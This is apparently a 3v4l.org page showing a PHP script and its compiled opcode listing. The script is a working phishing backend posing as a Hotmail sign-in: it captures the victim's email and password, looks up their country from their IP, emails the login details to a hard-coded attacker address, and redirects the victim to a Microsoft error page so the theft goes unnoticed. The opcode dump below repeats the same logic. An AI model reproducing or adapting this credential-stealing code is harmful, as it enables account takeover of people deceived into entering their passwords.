3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); $country = visitor_country(); $ip = getenv("REMOTE_ADDR"); $browser = $_SERVER['HTTP_USER_AGENT']; $login = $_SESSION['clientemail']; $passwd = $_POST['passwd']; $own = 'lekzyenwis123@gmail.com'; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $server = date("D/M/d, Y g:i a"); $domain = 'HOTMAIL'; $sender = 'redson@serverX.com'; $subj = "$domain - $country - $login"; $headers .= "From: REDSON<$sender>\n"; $headers .= "X-Priority: 1\n"; //1 Urgent Message, 3 Normal $headers .= "Content-Type:text/html; charset=\"iso-8859-1\"\n"; $over = 'https://www.microsoft.com/en-us/errorpages/smarterror.aspx'; $msg = "<HTML><BODY> <TABLE> <tr><td>____REDSON____</td></tr> <tr><td>ID: >$login<<td/></tr> <tr><td>Access: >$passwd<</td></tr> <tr><td>IP: $country | <a href='http://whoer.net/check?host=$ip' target='_blank'>$ip</a> </td></tr> <tr><td>Wrong Turn</td></tr> </BODY> </HTML>"; if (empty($login) || empty($passwd)) { header( "Location: index.php?Email=$login&.rand=13InboxLight.aspx?n=1774256418&fid=4#n=1252899642&fid=1&fav=1" ); } else { mail($own,$subj,$msg,$headers); header("Location: $over"); } function visitor_country() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryName != null) { $result = $ip_data->geoplugin_countryName; } return $result; } function visitor_countryCode() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryCode != null) { $result = $ip_data->geoplugin_countryCode; } return $result; } function visitor_regionName() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_regionName != null) { $result = $ip_data->geoplugin_regionName; } return $result; } function visitor_continentCode() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_continentCode != null) { $result = $ip_data->geoplugin_continentCode; } return $result; } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 47) Position 1 = 58, Position 2 = 60
Branch analysis from position: 58
2 jumps found. (Code = 43) Position 1 = 61, Position 2 = 68
Branch analysis from position: 61
1 jumps found. (Code = 42) Position 1 = 79
Branch analysis from position: 79
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 68
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 60
filename:       /in/KGbfW
function name:  (null)
number of ops:  80
compiled vars:  !0 = $country, !1 = $ip, !2 = $browser, !3 = $login, !4 = $passwd, !5 = $own, !6 = $web, !7 = $inj, !8 = $server, !9 = $domain, !10 = $sender, !11 = $subj, !12 = $headers, !13 = $over, !14 = $msg
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'session_start'
          1        DO_ICALL                                                 
    3     2        INIT_FCALL_BY_NAME                                       'visitor_country'
          3        DO_FCALL                                      0  $16     
          4        ASSIGN                                                   !0, $16
    4     5        INIT_FCALL                                               'getenv'
          6        SEND_VAL                                                 'REMOTE_ADDR'
          7        DO_ICALL                                         $18     
          8        ASSIGN                                                   !1, $18
    5     9        FETCH_R                      global              ~20     '_SERVER'
         10        FETCH_DIM_R                                      ~21     ~20, 'HTTP_USER_AGENT'
         11        ASSIGN                                                   !2, ~21
    6    12        FETCH_R                      global              ~23     '_SESSION'
         13        FETCH_DIM_R                                      ~24     ~23, 'clientemail'
         14        ASSIGN                                                   !3, ~24
    7    15        FETCH_R                      global              ~26     '_POST'
         16        FETCH_DIM_R                                      ~27     ~26, 'passwd'
         17        ASSIGN                                                   !4, ~27
    8    18        ASSIGN                                                   !5, 'lekzyenwis123%40gmail.com'
    9    19        FETCH_R                      global              ~30     '_SERVER'
         20        FETCH_DIM_R                                      ~31     ~30, 'HTTP_HOST'
         21        ASSIGN                                                   !6, ~31
   10    22        FETCH_R                      global              ~33     '_SERVER'
         23        FETCH_DIM_R                                      ~34     ~33, 'REQUEST_URI'
         24        ASSIGN                                                   !7, ~34
   11    25        INIT_FCALL                                               'date'
         26        SEND_VAL                                                 'D%2FM%2Fd%2C+Y+g%3Ai+a'
         27        DO_ICALL                                         $36     
         28        ASSIGN                                                   !8, $36
   12    29        ASSIGN                                                   !9, 'HOTMAIL'
   13    30        ASSIGN                                                   !10, 'redson%40serverX.com'
   14    31        ROPE_INIT                                     5  ~41     !9
         32        ROPE_ADD                                      1  ~41     ~41, '+-+'
         33        ROPE_ADD                                      2  ~41     ~41, !0
         34        ROPE_ADD                                      3  ~41     ~41, '+-+'
         35        ROPE_END                                      4  ~40     ~41, !3
         36        ASSIGN                                                   !11, ~40
   15    37        ROPE_INIT                                     3  ~46     'From%3A+REDSON%3C'
         38        ROPE_ADD                                      1  ~46     ~46, !10
         39        ROPE_END                                      2  ~45     ~46, '%3E%0A'
         40        ASSIGN_OP                                     8          !12, ~45
   16    41        ASSIGN_OP                                     8          !12, 'X-Priority%3A+1%0A'
   17    42        ASSIGN_OP                                     8          !12, 'Content-Type%3Atext%2Fhtml%3B+charset%3D%22iso-8859-1%22%0A'
   18    43        ASSIGN                                                   !13, 'https%3A%2F%2Fwww.microsoft.com%2Fen-us%2Ferrorpages%2Fsmarterror.aspx'
   19    44        ROPE_INIT                                    11  ~53     '%3CHTML%3E%3CBODY%3E%0A+%3CTABLE%3E%0A+%3Ctr%3E%3Ctd%3E____REDSON____%3C%2Ftd%3E%3C%2Ftr%3E%0A+%3Ctr%3E%3Ctd%3EID%3A+%3E'
   22    45        ROPE_ADD                                      1  ~53     ~53, !3
         46        ROPE_ADD                                      2  ~53     ~53, '%3C%3Ctd%2F%3E%3C%2Ftr%3E%0A+%3Ctr%3E%3Ctd%3EAccess%3A+%3E'
   23    47        ROPE_ADD                                      3  ~53     ~53, !4
         48        ROPE_ADD                                      4  ~53     ~53, '%3C%3C%2Ftd%3E%3C%2Ftr%3E%0A+%3Ctr%3E%3Ctd%3EIP%3A+'
   24    49        ROPE_ADD                                      5  ~53     ~53, !0
         50        ROPE_ADD                                      6  ~53     ~53, '+%7C+%3Ca+href%3D%27http%3A%2F%2Fwhoer.net%2Fcheck%3Fhost%3D'
         51        ROPE_ADD                                      7  ~53     ~53, !1
         52        ROPE_ADD                                      8  ~53     ~53, '%27+target%3D%27_blank%27%3E'
         53        ROPE_ADD                                      9  ~53     ~53, !1
         54        ROPE_END                                     10  ~52     ~53, '%3C%2Fa%3E+%3C%2Ftd%3E%3C%2Ftr%3E%0A+%3Ctr%3E%3Ctd%3EWrong+Turn%3C%2Ftd%3E%3C%2Ftr%3E%0A+%3C%2FBODY%3E%0A+%3C%2FHTML%3E'
   19    55        ASSIGN                                                   !14, ~52
   28    56        ISSET_ISEMPTY_CV                                 ~60     !3
         57      > JMPNZ_EX                                         ~60     ~60, ->60
         58    >   ISSET_ISEMPTY_CV                                 ~61     !4
         59        BOOL                                             ~60     ~61
         60    > > JMPZ                                                     ~60, ->68
   29    61    >   INIT_FCALL                                               'header'
         62        ROPE_INIT                                     3  ~63     'Location%3A+index.php%3FEmail%3D'
         63        ROPE_ADD                                      1  ~63     ~63, !3
         64        ROPE_END                                      2  ~62     ~63, '%26.rand%3D13InboxLight.aspx%3Fn%3D1774256418%26fid%3D4%23n%3D1252899642%26fid%3D1%26fav%3D1'
         65        SEND_VAL                                                 ~62
         66        DO_ICALL                                                 
   28    67      > JMP                                                      ->79
   32    68    >   INIT_FCALL                                               'mail'
         69        SEND_VAR                                                 !5
         70        SEND_VAR                                                 !11
         71        SEND_VAR                                                 !14
         72        SEND_VAR                                                 !12
         73        DO_ICALL                                                 
   33    74        INIT_FCALL                                               'header'
         75        NOP                                                      
         76        FAST_CONCAT                                      ~67     'Location%3A+', !13
         77        SEND_VAL                                                 ~67
         78        DO_ICALL                                                 
  148    79    > > RETURN                                                   1

Function visitor_country:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 21
Branch analysis from position: 19
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
2 jumps found. (Code = 46) Position 1 = 40, Position 2 = 43
Branch analysis from position: 40
2 jumps found. (Code = 43) Position 1 = 44, Position 2 = 46
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 46
Branch analysis from position: 43
Branch analysis from position: 21
2 jumps found. (Code = 43) Position 1 = 26, Position 2 = 28
Branch analysis from position: 26
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
Branch analysis from position: 28
2 jumps found. (Code = 46) Position 1 = 40, Position 2 = 43
Branch analysis from position: 40
Branch analysis from position: 43
filename:       /in/KGbfW
function name:  visitor_country
number of ops:  48
compiled vars:  !0 = $client, !1 = $forward, !2 = $remote, !3 = $result, !4 = $ip, !5 = $ip_data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   38     0  E >   BEGIN_SILENCE                                    ~6      
          1        FETCH_R                      global              ~7      '_SERVER'
          2        FETCH_DIM_R                                      ~8      ~7, 'HTTP_CLIENT_IP'
          3        END_SILENCE                                              ~6
          4        ASSIGN                                                   !0, ~8
   39     5        BEGIN_SILENCE                                    ~10     
          6        FETCH_R                      global              ~11     '_SERVER'
          7        FETCH_DIM_R                                      ~12     ~11, 'HTTP_X_FORWARDED_FOR'
          8        END_SILENCE                                              ~10
          9        ASSIGN                                                   !1, ~12
   40    10        FETCH_R                      global              ~14     '_SERVER'
         11        FETCH_DIM_R                                      ~15     ~14, 'REMOTE_ADDR'
         12        ASSIGN                                                   !2, ~15
   41    13        ASSIGN                                                   !3, 'Unknown'
   42    14        INIT_FCALL                                               'filter_var'
         15        SEND_VAR                                                 !0
         16        SEND_VAL                                                 275
         17        DO_ICALL                                         $18     
         18      > JMPZ                                                     $18, ->21
   44    19    >   ASSIGN                                                   !4, !0
   42    20      > JMP                                                      ->29
   46    21    >   INIT_FCALL                                               'filter_var'
         22        SEND_VAR                                                 !1
         23        SEND_VAL                                                 275
         24        DO_ICALL                                         $20     
         25      > JMPZ                                                     $20, ->28
   48    26    >   ASSIGN                                                   !4, !1
   46    27      > JMP                                                      ->29
   52    28    >   ASSIGN                                                   !4, !2
   55    29    >   BEGIN_SILENCE                                    ~23     
         30        INIT_FCALL                                               'json_decode'
         31        INIT_FCALL                                               'file_get_contents'
         32        CONCAT                                           ~24     'http%3A%2F%2Fwww.geoplugin.net%2Fjson.gp%3Fip%3D', !4
         33        SEND_VAL                                                 ~24
         34        DO_ICALL                                         $25     
         35        SEND_VAR                                                 $25
         36        DO_ICALL                                         $26     
         37        END_SILENCE                                              ~23
         38        ASSIGN                                                   !5, $26
   57    39      > JMPZ_EX                                          ~28     !5, ->43
         40    >   FETCH_OBJ_R                                      ~29     !5, 'geoplugin_countryName'
         41        IS_NOT_EQUAL                                     ~30     ~29, null
         42        BOOL                                             ~28     ~30
         43    > > JMPZ                                                     ~28, ->46
   59    44    >   FETCH_OBJ_R                                      ~31     !5, 'geoplugin_countryName'
         45        ASSIGN                                                   !3, ~31
   62    46    > > RETURN                                                   !3
   63    47*     > RETURN                                                   null

End of function visitor_country

Function visitor_countrycode:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 21
Branch analysis from position: 19
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
2 jumps found. (Code = 46) Position 1 = 40, Position 2 = 43
Branch analysis from position: 40
2 jumps found. (Code = 43) Position 1 = 44, Position 2 = 46
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 46
Branch analysis from position: 43
Branch analysis from position: 21
2 jumps found. (Code = 43) Position 1 = 26, Position 2 = 28
Branch analysis from position: 26
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
Branch analysis from position: 28
2 jumps found. (Code = 46) Position 1 = 40, Position 2 = 43
Branch analysis from position: 40
Branch analysis from position: 43
filename:       /in/KGbfW
function name:  visitor_countryCode
number of ops:  48
compiled vars:  !0 = $client, !1 = $forward, !2 = $remote, !3 = $result, !4 = $ip, !5 = $ip_data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   66     0  E >   BEGIN_SILENCE                                    ~6      
          1        FETCH_R                      global              ~7      '_SERVER'
          2        FETCH_DIM_R                                      ~8      ~7, 'HTTP_CLIENT_IP'
          3        END_SILENCE                                              ~6
          4        ASSIGN                                                   !0, ~8
   67     5        BEGIN_SILENCE                                    ~10     
          6        FETCH_R                      global              ~11     '_SERVER'
          7        FETCH_DIM_R                                      ~12     ~11, 'HTTP_X_FORWARDED_FOR'
          8        END_SILENCE                                              ~10
          9        ASSIGN                                                   !1, ~12
   68    10        FETCH_R                      global              ~14     '_SERVER'
         11        FETCH_DIM_R                                      ~15     ~14, 'REMOTE_ADDR'
         12        ASSIGN                                                   !2, ~15
   69    13        ASSIGN                                                   !3, 'Unknown'
   70    14        INIT_FCALL                                               'filter_var'
         15        SEND_VAR                                                 !0
         16        SEND_VAL                                                 275
         17        DO_ICALL                                         $18     
         18      > JMPZ                                                     $18, ->21
   72    19    >   ASSIGN                                                   !4, !0
   70    20      > JMP                                                      ->29
   74    21    >   INIT_FCALL                                               'filter_var'
         22        SEND_VAR                                                 !1
         23        SEND_VAL                                                 275
         24        DO_ICALL                                         $20     
         25      > JMPZ                                                     $20, ->28
   76    26    >   ASSIGN                                                   !4, !1
   74    27      > JMP                                                      ->29
   80    28    >   ASSIGN                                                   !4, !2
   83    29    >   BEGIN_SILENCE                                    ~23     
         30        INIT_FCALL                                               'json_decode'
         31        INIT_FCALL                                               'file_get_contents'
         32        CONCAT                                           ~24     'http%3A%2F%2Fwww.geoplugin.net%2Fjson.gp%3Fip%3D', !4
         33        SEND_VAL                                                 ~24
         34        DO_ICALL                                         $25     
         35        SEND_VAR                                                 $25
         36        DO_ICALL                                         $26     
         37        END_SILENCE                                              ~23
         38        ASSIGN                                                   !5, $26
   85    39      > JMPZ_EX                                          ~28     !5, ->43
         40    >   FETCH_OBJ_R                                      ~29     !5, 'geoplugin_countryCode'
         41        IS_NOT_EQUAL                                     ~30     ~29, null
         42        BOOL                                             ~28     ~30
         43    > > JMPZ                                                     ~28, ->46
   87    44    >   FETCH_OBJ_R                                      ~31     !5, 'geoplugin_countryCode'
         45        ASSIGN                                                   !3, ~31
   90    46    > > RETURN                                                   !3
   91    47*     > RETURN                                                   null

End of function visitor_countrycode

Function visitor_regionname:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 21
Branch analysis from position: 19
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
2 jumps found. (Code = 46) Position 1 = 40, Position 2 = 43
Branch analysis from position: 40
2 jumps found. (Code = 43) Position 1 = 44, Position 2 = 46
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 46
Branch analysis from position: 43
Branch analysis from position: 21
2 jumps found. (Code = 43) Position 1 = 26, Position 2 = 28
Branch analysis from position: 26
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
Branch analysis from position: 28
2 jumps found. (Code = 46) Position 1 = 40, Position 2 = 43
Branch analysis from position: 40
Branch analysis from position: 43
filename:       /in/KGbfW
function name:  visitor_regionName
number of ops:  48
compiled vars:  !0 = $client, !1 = $forward, !2 = $remote, !3 = $result, !4 = $ip, !5 = $ip_data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   94     0  E >   BEGIN_SILENCE                                    ~6      
          1        FETCH_R                      global              ~7      '_SERVER'
          2        FETCH_DIM_R                                      ~8      ~7, 'HTTP_CLIENT_IP'
          3        END_SILENCE                                              ~6
          4        ASSIGN                                                   !0, ~8
   95     5        BEGIN_SILENCE                                    ~10     
          6        FETCH_R                      global              ~11     '_SERVER'
          7        FETCH_DIM_R                                      ~12     ~11, 'HTTP_X_FORWARDED_FOR'
          8        END_SILENCE                                              ~10
          9        ASSIGN                                                   !1, ~12
   96    10        FETCH_R                      global              ~14     '_SERVER'
         11        FETCH_DIM_R                                      ~15     ~14, 'REMOTE_ADDR'
         12        ASSIGN                                                   !2, ~15
   97    13        ASSIGN                                                   !3, 'Unknown'
   98    14        INIT_FCALL                                               'filter_var'
         15        SEND_VAR                                                 !0
         16        SEND_VAL                                                 275
         17        DO_ICALL                                         $18     
         18      > JMPZ                                                     $18, ->21
  100    19    >   ASSIGN                                                   !4, !0
   98    20      > JMP                                                      ->29
  102    21    >   INIT_FCALL                                               'filter_var'
         22        SEND_VAR                                                 !1
         23        SEND_VAL                                                 275
         24        DO_ICALL                                         $20     
         25      > JMPZ                                                     $20, ->28
  104    26    >   ASSIGN                                                   !4, !1
  102    27      > JMP                                                      ->29
  108    28    >   ASSIGN                                                   !4, !2
  111    29    >   BEGIN_SILENCE                                    ~23     
         30        INIT_FCALL                                               'json_decode'
         31        INIT_FCALL                                               'file_get_contents'
         32        CONCAT                                           ~24     'http%3A%2F%2Fwww.geoplugin.net%2Fjson.gp%3Fip%3D', !4
         33        SEND_VAL                                                 ~24
         34        DO_ICALL                                         $25     
         35        SEND_VAR                                                 $25
         36        DO_ICALL                                         $26     
         37        END_SILENCE                                              ~23
         38        ASSIGN                                                   !5, $26
  113    39      > JMPZ_EX                                          ~28     !5, ->43
         40    >   FETCH_OBJ_R                                      ~29     !5, 'geoplugin_regionName'
         41        IS_NOT_EQUAL                                     ~30     ~29, null
         42        BOOL                                             ~28     ~30
         43    > > JMPZ                                                     ~28, ->46
  115    44    >   FETCH_OBJ_R                                      ~31     !5, 'geoplugin_regionName'
         45        ASSIGN                                                   !3, ~31
  118    46    > > RETURN                                                   !3
  119    47*     > RETURN                                                   null

End of function visitor_regionname

Function visitor_continentcode:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 21
Branch analysis from position: 19
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
2 jumps found. (Code = 46) Position 1 = 40, Position 2 = 43
Branch analysis from position: 40
2 jumps found. (Code = 43) Position 1 = 44, Position 2 = 46
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 46
Branch analysis from position: 43
Branch analysis from position: 21
2 jumps found. (Code = 43) Position 1 = 26, Position 2 = 28
Branch analysis from position: 26
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
Branch analysis from position: 28
2 jumps found. (Code = 46) Position 1 = 40, Position 2 = 43
Branch analysis from position: 40
Branch analysis from position: 43
filename:       /in/KGbfW
function name:  visitor_continentCode
number of ops:  48
compiled vars:  !0 = $client, !1 = $forward, !2 = $remote, !3 = $result, !4 = $ip, !5 = $ip_data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  122     0  E >   BEGIN_SILENCE                                    ~6      
          1        FETCH_R                      global              ~7      '_SERVER'
          2        FETCH_DIM_R                                      ~8      ~7, 'HTTP_CLIENT_IP'
          3        END_SILENCE                                              ~6
          4        ASSIGN                                                   !0, ~8
  123     5        BEGIN_SILENCE                                    ~10     
          6        FETCH_R                      global              ~11     '_SERVER'
          7        FETCH_DIM_R                                      ~12     ~11, 'HTTP_X_FORWARDED_FOR'
          8        END_SILENCE                                              ~10
          9        ASSIGN                                                   !1, ~12
  124    10        FETCH_R                      global              ~14     '_SERVER'
         11        FETCH_DIM_R                                      ~15     ~14, 'REMOTE_ADDR'
         12        ASSIGN                                                   !2, ~15
  125    13        ASSIGN                                                   !3, 'Unknown'
  126    14        INIT_FCALL                                               'filter_var'
         15        SEND_VAR                                                 !0
         16        SEND_VAL                                                 275
         17        DO_ICALL                                         $18     
         18      > JMPZ                                                     $18, ->21
  128    19    >   ASSIGN                                                   !4, !0
  126    20      > JMP                                                      ->29
  130    21    >   INIT_FCALL                                               'filter_var'
         22        SEND_VAR                                                 !1
         23        SEND_VAL                                                 275
         24        DO_ICALL                                         $20     
         25      > JMPZ                                                     $20, ->28
  132    26    >   ASSIGN                                                   !4, !1
  130    27      > JMP                                                      ->29
  136    28    >   ASSIGN                                                   !4, !2
  139    29    >   BEGIN_SILENCE                                    ~23     
         30        INIT_FCALL                                               'json_decode'
         31        INIT_FCALL                                               'file_get_contents'
         32        CONCAT                                           ~24     'http%3A%2F%2Fwww.geoplugin.net%2Fjson.gp%3Fip%3D', !4
         33        SEND_VAL                                                 ~24
         34        DO_ICALL                                         $25     
         35        SEND_VAR                                                 $25
         36        DO_ICALL                                         $26     
         37        END_SILENCE                                              ~23
         38        ASSIGN                                                   !5, $26
  141    39      > JMPZ_EX                                          ~28     !5, ->43
         40    >   FETCH_OBJ_R                                      ~29     !5, 'geoplugin_continentCode'
         41        IS_NOT_EQUAL                                     ~30     ~29, null
         42        BOOL                                             ~28     ~30
         43    > > JMPZ                                                     ~28, ->46
  143    44    >   FETCH_OBJ_R                                      ~31     !5, 'geoplugin_continentCode'
         45        ASSIGN                                                   !3, ~31
  146    46    > > RETURN                                                   !3
  147    47*     > RETURN                                                   null

End of function visitor_continentcode

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.39 ms | 1047 KiB | 21 Q